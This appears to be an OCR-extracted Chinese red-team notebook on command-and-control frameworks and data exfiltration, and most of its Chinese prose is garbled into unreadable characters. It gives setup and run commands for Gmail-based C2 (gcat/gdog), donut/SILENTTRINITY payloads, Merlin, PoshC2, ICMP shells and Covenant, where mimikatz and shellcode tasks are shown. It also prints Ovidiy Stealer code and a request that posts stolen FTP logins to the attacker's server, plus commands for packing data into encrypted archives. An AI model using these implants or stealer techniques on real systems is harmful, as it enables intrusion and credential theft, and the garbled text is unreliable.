£ Web IRSEA AR Rl C2 EMZEMRRERIRE T AFI DRI, B
IR RT ASEIUR(ESEM (RN L EMBRIATRRESMEER) .



C2 with gmail

Gmail AP B WIRMHEFHMFINEE. XERERZHALRFRI CGmail RS2
MEEATFIITH, LNREFERAIGERRR, FEULLER ICMP M SMTP &)
MICRAIT I LEZ RN ENE AT, ALk, Web Geat Hl Gdog £H&
MTEZENTE, EN#FIER Gmail fEAar < MIEHIRSS 28

gcat

Geat & T python WIEZE, EfEMA Gmail E{EH C2 BRS8S. Geat IBREE
HAME Gmail I3, EERSEEA®HEESN ID NFTER. IRE, XLBF
BB B R AR DB EZ RN EN LT, SURRIFTRIBLNSE SR, ZERIEE
B4 Geat BITHIA

RTRGF Geat 5§ Gmail BE, EEREAMUTIEE.

o FIFAATREMRENNA, REMIE:

https://myaccount.google.com/lesssecureapps
< TEMREINARTAE)IX R

REwAMzERANEREATEZE, XRSHENKSESERIRE. BiRERAXENHE
TAEANIR. HABLATLUEIEFEIARNER, BIFTREXNEE, EREREXNBNERT,
Google ZHmNXHILLIRE . TREIFIE

BH
RERSHBRITHOMA: SR

* 7 Gmail IKFIREFREA IMAP I8, REMHIE
https://mail.google.com/mail/u/0/#settings/fwdandpop


https://github.com/byt3bl33d3r/gcat
https://myaccount.google.com/lesssecureapps
https://mail.google.com/mail/u/0/#settings/fwdandpop

a=1

BH FE WHE KSHSA ZEBNFEENELE EEF POPIMAP HfF Chat BH BE IHER

iy NSS A i
TRRIEIE
BRI eI ESE, BRI REAE SR
POP F#: 1. R%&: POPERER
TR TR R S POP
I MILTE R UEI A BR (S FEPOP

2. BT POPiF ) lp {4

3, EE M F RO 0 (20 Outlook. Eudora. Netscape Mail)

12 5 i
IMAP i8] : R IMAPESH
(fEF IMAP MILHE % 01515 Gmail)
TR A IMAP

YA IMAP REEE (F4Ric 0 E MIERET :
© ERAEK - ITENERMSAE (RN .
(S B ahihE - W15 &P WSS 28 .
LB T D E R MR E RTRE IMAP 3T chig R :
 UIREEREE (RIA)
TRHER RS 2 MR BR "
SLENsK A W BRI 04
Szit AR
O TRE] IMAP S {FSApEi{FEE (BRIA)
1 IMAP ST{FJ R oI LAE & A a4+ PR ENIEEME 1,000

ECE AR FHRE B (F20 Outlook, Thunderbird, iPhone)
B EiReA

REEN | BH

T—F &I implant.py XHEERNETHITM . B S 5ER AL,
KERBIE— setup.py X, EFESUTCEBHER py2exe,

from distutils.core import setup

import py2exe

setup(console=['implant.py'])

F python 117 LA

/3

3
T

5D
|



python2 setup.py py2exe

BT, 18LX gcat.py XN gmail I F BT,

gmail_user 'gcat.is.the.shit@gmail.com’
gmail_pwd ‘veryc@01lp@ssword'

server - "smtp.gmail.com"
server_port 587

HERKEY exe MINER EE R LIETH, REEMAMNET gmail KEWL,

python2 gcat.py -list

geekby-winl0

gdog
gdog # gcat [RIEFEE], {BERERITNEELL gcat M@K,
gdog EIHEERE AIFLEMEEMNA. BH IMAP
gdog HI4Fm:
BISEUEINEE (AES) + SHA256 57
FERRGEEEMME—Mid (SHA256 I5%)
Job IDs ZRELAY SHA256 5%
RERARER

REMIEER (BH, BR, 28, 48 F5F)


https://github.com/maldevel/gdog

REUGITRHRE . BRS. AP, 188 (BEH)
RENEFIRIR
WATRG SR
ME PR T8
HEXHERFIH
H1T shellcode
B
HEBFIRRE
BEICR
KAREREZITE
R ET]EE
M WEB TH X
(el RS
LR EERIE
TEEFIHNAINS geat 18E), 7ELLAREELR,

HERTR
AR T

Cobalt Strike: —RAEEMBENEBEFE SR, https://cobaltstrike.com/

Empire: — MRS PowerShell BERREFIARIETE,
https://github.com/EmpireProject/Empire

Metasploit Framework: — M4 REF]AEZE,
https://github.com/rapid7/metasploit—framework



Pupy: —1ET python BFEEFE (Windows, Linux, OSX, Android)
iR ERMEEFIFA IR, https://github.com/n1njdsec/pupy

Koadic: DEFCON EHN—1T/EBETR, —Mjs/vbs iz, BRWEZH, PR
MNINEEESHE, https://github.com/zerosumOxO/koad|c

PoshC2: —FETF PowerShell fl C#G<EHI T A,
https://github.com/nettitude/PoshC2

Gecat: B—FEA Gmail ITHIEIEH Python FRFZEI].
https://github.com/byt3bl33d3r/gcat

TrevorC2: B— 1 &EMNNIE (FINKE) , ATFREGRIHITHNEin/RS=ZE
{&. https://github.com/trustedsec/trevorc?2

Merlin: @—1"F Go IBEREMNETaFHFAA HTTP/2 s 5izHIRSH[ NN
I8 (agent) . https://github.com/NeOnd0g/merlin

Quasar: — 1 H C#RRiEINIRERENTIZEETH,
https://github.com/quasar/QuasarRAT
Staging

Red Baron: & Terraform (—AEIRFIEH]/E=F12HEE, EXENLIABED
SlEsg M, —XiM, Z2MRBNEMZEM, https://github.com/Coalfire—

Research/Red-Baron

EvilURL: 79 IDN EI25%F X FIRELER unicode H&FMEAT,
https://github.com/UndeadSec/EvilURL

Domain Hunter: #&JHAE R, bluecoat £3EH] Archive.org [ALICE, UHE

RANESTHEN C2 NiEHA,
https://github.com/threatexpress/domainhunter

PowerDNS: — &8 PoC, AT ERIU{I{ERA DNS $1T PowerShell 7,
https://github.com/mdsecactivebreach/PowerDNS



Chameleon: FBIZINEE BRI ENEREINTE.

https://github.com/mdsecactivebreach/Chameleon

CatMyFish: &5 #ig, AR Cobalt Strike beacon C&C & & H & E1T,
https://github.com/Mr-Un1k0d3r/CatMyFish

Malleable C2: AT E#E X Beacon E{EHHRIIEIT.
https://github.com/rsmudge/Malleable—~C2-Profiles

Malleable-C2-Randomizer: ZBiZsi@id £ TiE S a1t Cobalt Strike
Malleable C2 Ee&XH, MMmAREE LAFBDETZZOCNIZEFITNS.
https://github.com/bluscreenofjeff/Malleable-C2-Randomizer

FindFrontableDomains: #ZR&7EH) frontable 13,
https://github.com/rvrsh3ll/FindFrontableDomains

Postfix—Server-Setup: BofftBI—TNEPERSE.
https://github.com/n0Ope-sled/Postfix—Server-Setup

DomainFronting: #&#& CDN %I/} Domain Frontable 15313&.
https://github.com/vysec/DomainFrontingLists

Apache2-Modrewrite-Setup: REFHETHIZGFPIIFZLE] Modrewrite,,
https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup

mod_rewrite: PFEEIE,
https://gist.github.com/ouriOusJaCk/971 385e8334e189d93a6cb4671238b10

externalc2 framework: 7 I1FFENTIEH beacon ##E EIH BT Bl tin 15 Team
Server #1T3H, https.//qithub.com/Und3rf10w/externalc2_framework

ExternalC2: — BT IFBIEERIES Cobalt Strike External C2 fREZ 235 ALHY
FEE. https://github.com/ryhanson/ExternalC2

cs2 modrewrite: T Cobalt Strike Bl E X #35#7 modtewrite BlZNHY T
B, https://github.com/threatexpress/cs2modrewrite



e2modrewrite: FBF1& Empire Bo & X {4 ¥5#:79 Apache modrewrite BiZ<,

https://github.com/infosecninja/e2modrewrite

Domain Fronting Google App Engine: — "= &, RFHAFHENIEBSHIMN
Web #l BailAERFR, eff3F— TN THNARFNZEMIRZEZ ENHERE.
https://github.com/redteam-cyberark/Google—Domain—-fronting

{£F3 NGINX 2141 Payload.
https://gist.github.com/jivoi/a33ace2e25515a31aa2ffbae246d98c9

Empire BoifES 1T, https://github.com/bneg/RedTeam-Automation

meek: Tor —FMEHITEMY, BEIEERBIEH—RI HTTPS IFRMMTN
https://github.com/arlolra/meek

CobaltStrike—-ToolKit : —LESLFHRY obaltStrike BIZAN,
https://github.com/killswitch—-GUI/CobaltStrike-ToolKit

E ]

L HMEFIRBRIREENMS BMEANEES THRFHITRE. RIER
FEENMEHTS, REETJNESSMANEIL RS SMEHRESNm<SHE
Hll, HTMERANNFAIERBNZEN, RERELNEREANRERG S
EHNER . EMCERNGERDATTFSHEENRA, TEZZHTE XN
ERNBNGENNINERSHITRERZ LS.

FLEFERA D MIZ BB T EEXFE— MRS, B7ERAERRAIRIER TR
LAEFD MW S KERIEMEEK, EEEMNEREHEHE S EREER
HIERENMAAME LR, NIREERXEDMN, 7 ENBBERARNU R EISIER
Web fRS5, RERSJASSERN, BUBETASRUREX D FFHK,



1. SILENTTRINITY & DONUT

https://thewover.github.io/Introducing—Donut/
https://github.com/TheWover/donut/
https://github.com/TheWover/donut/releases/tag/v0.9
https://github.com/byt3bl33d3r/SILENTTRINITY

\donut.exe —a 1 —f \SILENTTRINITY_DLL.dIl ¢ ST —-m Main —p http://192.168.10.1
25:80
\donut.exe —a 2 —f \SILENTTRINITY_DLL.dIl —¢c ST —-m Main —p http://192.168.10.1
25:80

$filename="C:\Users\demon\Desktop\payload.bin"
[convert]::ToBase64String([10.File]::ReadAllBytes($filename)) | clip



[ NN Server — Python + sudo — 105=30

. —— e
Server — Python + sudo — 10530



https://demonsec666.oss-cn-qingdao.aliyuncs.com/CD15D3B049938642D012504E1A16285C.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/CD15D3B049938642D012504E1A16285C.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/67C730933F6BBBF12572A4E54BE29EC5.jpg

Server — Python + Python st.py — 138x21

G 5 teners) (http) = |
Fifinacws Powershell ] ] — [

*RASMINA BT **:https://www.ggsec.cn/donut.html

2.wikipedia-c2

https://github.com/dweezy-netsec/wikipedia—c2 https://dweezy-
netsec.github.io/blog/wikipediac2/


https://demonsec666.oss-cn-qingdao.aliyuncs.com/67C730933F6BBBF12572A4E54BE29EC5.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1E2238E15A7540C565774F279974CEAC.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1E2238E15A7540C565774F279974CEAC.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/C86DC2516ABBF56F8D18036A1B438515.jpg

wikipedia-c2-mastar — open « Python wf\k‘tnedj,ani,cllenr Y- wikipedia-c2-master — Python wikipedia_api.py — 123x40

.« Python wikipedia_api_cientpy  .ikipedia-c2-master —-bash ~/Downloads/wikipedia-c2-master — Python wikipedia_api.py

AE MM https://www.ggsec.cn/wikipedia—-c2.html


https://demonsec666.oss-cn-qingdao.aliyuncs.com/2D53BA3275211C9FD9C5EA76468CDDC6.jpg

3.Merlin

o eceo® Windows 10

root@demon: foptmertin

root@demon: fopt/mertin x o

aster X

History  Memory

0 Thers's no history yat

e " s
% v x ¥
interact 08c30849-1499-4c76-97he- 32 ; [ | < " &
7 8 9 x
4 5 6

L Windows 10

= Caleulator Caeulator - 0 x

= Standa = Standard Histy M
1 =+ HRE » Home on'Me story lemory story

b s — 0 There's no history yet Bncn

mam

& Downloads

& Documems
demon

-5

B Masic

[ Videos

b OneDrive
% ce c @ -



https://demonsec666.oss-cn-qingdao.aliyuncs.com/3E558E905B40769BE910FFD6421DD5AA.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/3E558E905B40769BE910FFD6421DD5AA.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/AE2A2E613179B47DAC33CDEA738A1265.jpg

® @ merfin-master — merlinAgent-Darwin-x64.dmg -url https://192.168.10.200:443 — 100x9

~/Downloads/merlin-master — merlinAgent-Darwin-x64.dmg -url https://192.168.10.200:443

o XHF) WiEE) SBV)
B root@demon: [opt/merlin x root@demon: fopt/merlin X
UserName

U >

Hostname Secist

Pro 5272

IP [127.0.0.1/8 1/128 feg80::1/64

Initial Check In 2019-04-13 21:12:42.988059585 +0800
.699764969

Last Check In 21:12:42.988059731 +0800
699765073

MxpEE: https://github.com/NeOnd0g/merlin
https://posts.specterops.io/merlin-vO-7-0-release—roll-up-717739cde77a

AWM . https://www.ggsec.cn/merlin.html

4.Posh C2

https://github.com/nettitude/PoshC2 B 1T& % java JDK AK.net 3.0 HE
=


https://demonsec666.oss-cn-qingdao.aliyuncs.com/AE2A2E613179B47DAC33CDEA738A1265.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/959E6CAEAF583385A4E9D2A13B6A4EBE.jpg

55t DEMONFFSE DEHONFF SE\DENONFFSE\demon

EX PoshC2 Implant Handler: hitps://10.00.115 Port 443

AWM https://www.ggsec.cn/PoshC2.html

5.ICMP (T1095)

A, NFERRSESENLARNEZTEINRE., L ARTHE, AR —
LRSERPAERIMENNEE! (NAFREIEAMNINE, IKwOMRS (A
O5diR) MRigEsaHOhEEHITIRMEXERRZ—, AXMIFRT, HEH


https://demonsec666.oss-cn-qingdao.aliyuncs.com/F3A058B4-F8D9-4F63-A671-89D7DAD04F80.png
https://demonsec666.oss-cn-qingdao.aliyuncs.com/F3A058B4-F8D9-4F63-A671-89D7DAD04F80.png
https://demonsec666.oss-cn-qingdao.aliyuncs.com/24AC54991C6C1B3C2395C2C91E4F09F3.jpg

BARERM LS DMZ B2 2B o0 (BIE0, 7E Citrix oINS EMUEEF) , &
i TCP 3RENx 6] shell H RS2 EE, ﬁ'ﬁ%%»ﬁ%ﬁi s||o

sysctl —w net.ipv4.icmp_echo_ignore_all=1

https://github.com/inquisb/icmpsh https://www.blackhillsinfosec.com/how-
to—c2-over-icmp/ https://github.com/inquisb/icmpsh

icmpsh_m.py Z&# ip Bnip

Invoke—PowerShelllcmp -IPAddress 192.168.10.215

6.Covenant
1. git clone ——recurse—submodules https://github.com/cobbr/Covenant

2. cd Covenant/Covenant
3. dotnet build

4. dotnet run

BeEIhit R A ps tERBER R H? payload BLE bug


https://demonsec666.oss-cn-qingdao.aliyuncs.com/DFA76552F9AFB66D8FEA2EFD5430A913.jpg

OVENANT

(@ Dashboard

Dashboard

69 Listeners

47 Launchers Grunts
_ Grunts
Name 1T CommType Hostname UserName Status LastCheckin
) Tasks
1e2548ecfd HTTP DEMON39EO demon Active 2019/8/3 £
%2 Taskings 2:09:53
Graph
9deaced9cc  HTTP DEMON39EQ  demon Active 2019/8/3 k4
Data 216114
Users cAdBc1424b  HTTP DEMON39EO  demon Active 2019/8/3 £
2151
Showing 1to 3 of 3 entries
Listeners
Name ListenerType Status StartTime
http HTTP Active 2019/8/2 T46:13:34
Taskings
Name Grunt Task Status UserName Command
No data available Iin table
Showing 0 to 0 of 0 entries
o
SNt Grunt: a18f381153
€3 Listeners
Launchers @ info 5_ Interact @ Task £ Taskings
5. Grunts - =
LogonPasswords  Execute tha ‘privilege::debug sekurisa:iogonPasswords' Mimikatz command,
Tasks Execute a mimikatz command.
Download 3 file
Taskings Upload a file.
Got a list of currently running pro
Graph ChangeDirectary
ListDirectory urrent directory.
Data AssemblyRefiect Execute a dotnet Assembly method using reflection.
e Kssembly dotmet Assambly EntryPoint.
r

PowerShell
Shellcmd

PowerShell command

Execute a Shell command
Execute a Shell command,

Execute the ‘privilege: debug Isadump:secrets'
GetSystem Impersonate the SYSTEM user. Equates to impersonatel
Whoami s the username of the currently used/impersanated token
RevertToSell  Ends the impersonation of any token, reverting back to the inftial token associated with the current pre
Help Show the help menu.
PowerShellmport  Import a PowerShell script
Sharpshell Execute custom c# code.
Disconnect Disconnect from a ChildGrunt.
Conneet  Conneet to a P2P Grunt.
Kl Killthe Grunt.

Get active Jobs.
Set a Grunt setting
ShellCade Executes a specified shellcode byle array by copying it to pinned memory, modilying the memary permissions, and executing
SetRemoteRegistryKey  Sets a value into the registry on a remote system.
Makes a new token with a specified username and password, and impersonates it to conduct future actions as the specified user.
Sets a value int the registry

g “cmd.exe fc*

imikatz command.
NT AUTHORITY\SYSTEM").

Gets a valu stored in regi

. Usetul in conjuction with functions impet

Integrity

Medium

Medium

Medium

BindAddress

0.0.0.0

CommandTime

a token and do not automatically RevertTos

OperatingSystem Proces
Microsoft Windows powers
NT 10.0.18362.0

Microsoft Windows Console
NT 6.2.9200.0

Microsoft Windows Console

NT 6.2.9200.0

Previous . Next

BindPort

80

CompletionTime

Previous Next

such as ImpersonateUser(



https://demonsec666.oss-cn-qingdao.aliyuncs.com/6615F2829518509843D89B3E66AEA564.jpg
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1) Dashboard

Listeners

Launchers

> Grunts

Tasks
< Taskings
o Graph

Data

Users

e
=B
@D
Mrayexe
60Tray.exe 6624
160Tray.exe. 6624
160Tray.exe. 6624
i60Tray.exe 6624
160Tray.exe. 6624
viceHub SetfingsHost exe
enviceHub SettingsHostexe 2512
*Store App.exe
NinStore App.exe: 3044
NinStore App.exe 3044
Vintore App.exe 3044
Nintore App.exe: 3004
Nintore App.exe 3044
VinStore App.exe: 3044
VinStore App.exe: 3004
nsoleApp.exe
‘onsoleAppl.exe 6092
sass.one 740
sassiene 740
envices.exe 720
envces.exe 720
solsvexe
poclsviexe 1432
poolsv.exe 1432
hostexe
vehostexe 60
vehostexe 123
vehostexe 2012
vehostexe 132
vehostexe 1028
vehostexe 1028
vehostexe 6
vehostexe 2012
vehostexe 132
vehostexe

SEFH:

1028

Graph

o BalR

E2pE

mEEEsE

s¥sEv

P
ki

® W

i
F

Caprogram

Caprogram

B & a7EE N ES © % LT

iy e fr
CiProgram Files (xB5)\360\360Safe\update\~TH.. TCP 192.168.10.137:49850  111.206.58.11:80
CA\Program Files (xB5)\360\360Safe\update\~TH... TCP 102.168.10.137:49963  192.168.10.1:80
C:\Program Files (xB5)\360\360Safe\update\~TH... TCP 192.16610.137:50380  223.167.166.62443
CA\Program Files (xB6)\360\360Safe\update\~TH.. UDP. 00003600
CA\Program Files (x85)\360\360afe\update\~TH.. UDP. 000038812 -
CA\Program Files (xB5)\Microsoft Visual Studio\2... TCP 192168.10.137:50926  168.61.148.205:9354
C:\Program Files\WindowsApps\Microsoft.Winde... TCP 192.168.10.137:50028  60.221.218.74:443
CA\Program Files\WindowsApps\Microsoft:Windo... TCP 192:168.10.137:50040 6022121874443

i TP 152 6022121874443
C:\Program Files\WindowsApps\Microsoft.Windo... TCP 192.16610.137:50042 6022121874443
CAProgram Files\WindowsApps\Microsoft:Windo... TCP 192.168.10.137:50043 6022121874443
i e 12 6022121874443

C:\Program Files\WindowsApps\Microsoft.Windo... TCP 192.16610.137:50105  1047422.35:443
CUsers\demon\source\repos\ConsoleAppT\Co... TCP 192.16610.137:51195 19216810,
C\Windows\System32\sass.exe Tce 000049664 00000
CAWindows\System32\lsass.exe Tep [00:0:0:0:000%0149664_[00:0:0:0:0:00%040
CWindows\System32\services.exe Tep 000049669 00000
CAWindows\System32\services.exe e [0:0:0:0:0000%0149669 (0:0:0:0:0:0:00%010
CAWindows\System32\spoolsvexe e 000049668 00000
CAWindows\System32\spoolsvexe Tce [:0:0:0:0:000%0149668 (0:0:0:0:0:0:00%010
CAWindows\system32\rpess i e 0000435 00000
CAWindows\System32\COPSve.dil TP 00005040 00000
CAWindows\System32\svchostexe Tcp 00007680 00000
CAWindows\System32\wevtsve.dll e 000049666 00000
CAWindows\system32\schedsve.dil Tcp 0000:49667 00000

Tce 192.16610.137:51176 40.90.189.152:443
CWindows\system32\rpess il Tce [00000000%01135  [00:0:0:0:0:00%040
CAWindows\System32\svchostexe TP [G00:0:0000%07680  [D0:00:0:0:00%010
CAWindows\System32\wevtsve.dil Tce [:0:0:0:0000%0149666 (0:0:0:0:0:0:00%010

TP [0:0:0:00000%010

CAWindows\system32\schedsvdil

[000000:0:0%01:49667

Rt @ s

TS.established
7 close wait
T established

7S established

7S, close wait
7S, close wait
7S.close wait
7S, close wait
7S, close wait
7S, close wait

7S, close wait

TS established

TS listen
TS listen

TS Jisten
TS listen

T listen
TS listen

TS listen
TS Jisten
T listen
TS listen
TS listen
TS established
TS listen
TS listen
TS listen
TS listen

Legend
@ Listener

Grunt (http)
@ Grunt (smb)

Node Information

Click on a node to reveal more information.

I O

https://github.com/cobbr/Covenant/wiki/Installation-And-

Startup https://posts.specterops.io/covenant-the—usability—update—

9a7a596a4772 https://github.com/cobbr/Covenant

EMIBEEMSN: https://www.ggsec.cn/Covenant.html
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-+ .Exfiltration
1. ERESCHE

Z%: Windows, Linux, MacOS

X EMN—TRAEFRNB—TRE, UEREIRTSRNFTAFHM
., PINEE G MIEFIBEMIMN FIEHIN RS EHIE, MEIEFTAZE
EWL, sp@dEM TR FTPEREAMIX. trILUER scp, rsync # sftp
Z AN I AT Mac # Linux - E#IX4.

ISZEE%E—JL‘M‘ RNBREERALZEBRAIEFINY, UFHERERXGHHZEN
TR TR R R, FlNEE SMB 5E RN &R Z A Windows &
BEARZRESEMNE T S HIERERHITXEHHR-E,

2. B3R

Z%: Windows, Linux, MacOS

il EREBERZEEERE, FINERBNERAETAMBARRITE
BHRERBUENTLE. F82HBMtIR, BIEREHBEE (C2) HEN
MNEBER EFT AT BT WA MR,

1. BT FTP Bali§EURE B EXRInTE C2 RSB 28
2. BadUSB Y125 2% X

3. BmpEE. ZERETR. WEAFPKIE. 8EEE. KPR SMEHREER
FRECARSS 2%

fRiFIRT: (£ AppLocker SR 4 BRHISRES S B = 8 T RIRA|FH BT R RN
ek,



RIEGBUEREMF

EBMNEZRIBREHREAREG, LokiBot #E XN “infostealer”, A RNEBREHEE
B &RITEFMEEFiHM web N R ESHEIE,

LEERERTTUGECEETS FTP ZFi% (40 FileZilla, FlashFXP, WS_FTP %)
1 SSH 2% (0 PUTTY) MEFHET, LENTWILERANMILF LZEmE &
INfERe, EERA IAMALAIAOMLE S EUELE,

6-10 Fal, XEREROEHZVUIRNT, —EWIHEEZATENARRL, %’i‘
B RFBPHERT ftp RIEXHE (KRS FTP EFIRHBUEXEREFEND), &
ERBEER REEIEHIRSEE.

BRXMBE RN MERIBLRT, BIRMDATBERGEE.
51+
o (FABXIAMEBNEEFHEGIRESERENASR, MRS TESHMRRE

=|

1L\ o

o BEFERAEEARRHENGEERRG T RAAHRE THMERFICRN
SIE) AR .

s HNWHERRZNKEHRERESERE, FHERFRICRIBRARE,
https://www.anquanke.com/post/id/170364

BB IR AcridRain

https://www.4hou.com/web/16245.html

G EUER I ME Ovidly Stealer'

https://www.hackread.com/buy-password-stealing—malware—ovidiy—

stealer-for-7/



Ovidiy Stealer

& AcxayHT
1

CKONbKO BCErD

[ Kynute

@& Manens

IP Appec

127.00.1

bin/auth

namespace Ovidiy.Tools

internal class Misc

nons3csarenei

iE NocnegHue 5 3anycKoB

CrpaHa

mm Russian Federation

= Ton 3 CaiiToB

Caiir Konu4ecreo
ovidiystealer.ruflogin = 2
login.vk.com/ 1
auth.mail.ru/fcgi- 1

public static void Make(string wrl, string parameters)

byte[] bytes = Encoding.UTF8.GetBytes(parameters);

.Create(url)

webRequest.ContantType = “application/x-ww-form-urlencoded”;

webRequest.Contentlength = (long)bytes.Length;

((HttpiebRequest JuebRequest ) .Userdgent = "EGBC3BDT6216AFASGEBFBSACAFSTI1AI";

webRequest.Method = "POST™;

Stream requestStream = webRequest.GetRequestStreanm();

requestStream. Write(bytes, @, bytes.Length);
requestStream. Close();

requestStrean. Dispose();

WebResponse response = webRequest.GetResponse(

Ji

T = néw ST
streamReader . ReadToEnd();
streamReader.Close();
streamReader.Dispose();
response.Close();

P . Getl ream());

Ovidiy Stealer

5

CKONLKO BCEro I0roB
CHerema Bepcua HMA KoMnLIOTEpa
Windows 97 v2.2.8 Demo

= Ton 3 Cucrem
Crcrema Konwuecteo

Windows 97 1

string result = null;

= Ton 3 Bepcwii
Bepous Konwyecreo

v2.2.8 1

bytel]l param = Encoding.UTF8.GetBytes(parameters);
WebRequest req = WebRequest,Create(url);

req.Methed = "POST";

{ (HttpWebRequest)req).UserAgent = “E9BCIBDT6216AFASEOBFBSACAFSTI1AT";
req.ContentType = "application/x-www-form-urlencoded”;
qu.CDﬂTEﬂ(LC‘ﬂgth = param.Length;

Stream st = req.GetRequestStream();

st.Write(param, @, param.Length);

st.Close(};
st.Dispose();

WebResponse resp = req.GetResponse();

StreamReader sr = new StreamReader(resp.GetResponseStream());

result = sr.ReadToEnd();
sr.Close();
sr.Dispose();
resp.Close();

return result;

LiteHTTP Bot

ARG EEBMNEMNBREFFHRIEE, ©RREEVIBIEN, FIREBRN

R BB S — 1 ER:

e id: DiskID # ProcessorlD

e site! {RIFRIERIMIL

 ERF: BHNMNNARER

* login: (REMNABERFBFA



e pass: RIFHINAETESED

e user: B3I Ovidiy Stealer HF

POST https://ovidiystealer.ru/loggate.php HTTP/1.1
Content-Type: application/X-www- for-n ur lencoded
User-Agent: E9BC3BD76216AFASG0BFBSACAFS731A3
Host: ovidiystealer.ru

Content-Length:

EXpect: 100-continue

id= lsite= &program=Filezilla&login= &pass= &users=

3. BIEEE

Z%: Windows, Linux, MacOS

WEETNEREES B ZBIRENEUE (B, ESL_\SU%) MEEABZEH RN
BT NE RIZNEIREZ, [£485 exfiltration & 1T, HERBEXER
WEE, AEENNESEESARER (A 7zip, RAR, ZIPEszIib) 1T,

1. TS8R & 1=[E C2 ARSS5#8 < BIfER ZLIB 48404 .
2. RUENEUEREEZ B RIPHN.rar 5EH,
R

7zip:

7z.exe a —tzip —p111 archive.7z txt.txt [£48 231849 111 7z.exe x —tzip —p111
archive.7z &% 2830 1M

RAR:

rar.exe a —pmyhoney secretl *.txt 7l *.txt XEHHAZHE " "myhoney" %%

rar.exe X —pmyhoney secretl 228 secretl.rar X {ER A" myhoney" i 2%

rar.exe a —hpfGzqbyKw secret report.txt &R 4 report.txt ZNNZZHIESE
N 14 secret.rar F, {ERAZRIE'TGzgbyKw!'



1 —hplp] MNEXAEIENX, ZMFFRM -plpl &L, BEFX -p RIIEX
R, MEXGRFEEESEIN. ITAXRNZME SEXHEE. XHA.
KO B, EFRNEEREMBAIRIMERENHFXE, FIANERHTESNLE
Fh, EEBXHPRER-hp INE, REBBEERATEREEXMHIIE.

ZIP:

zip —q —-r —P 123456 tools.zip tools MR, {EARIE 123456 N {4HRK
zip —q —r tools01.zip tools ZFHMET, EHEXHABRIELHITERR
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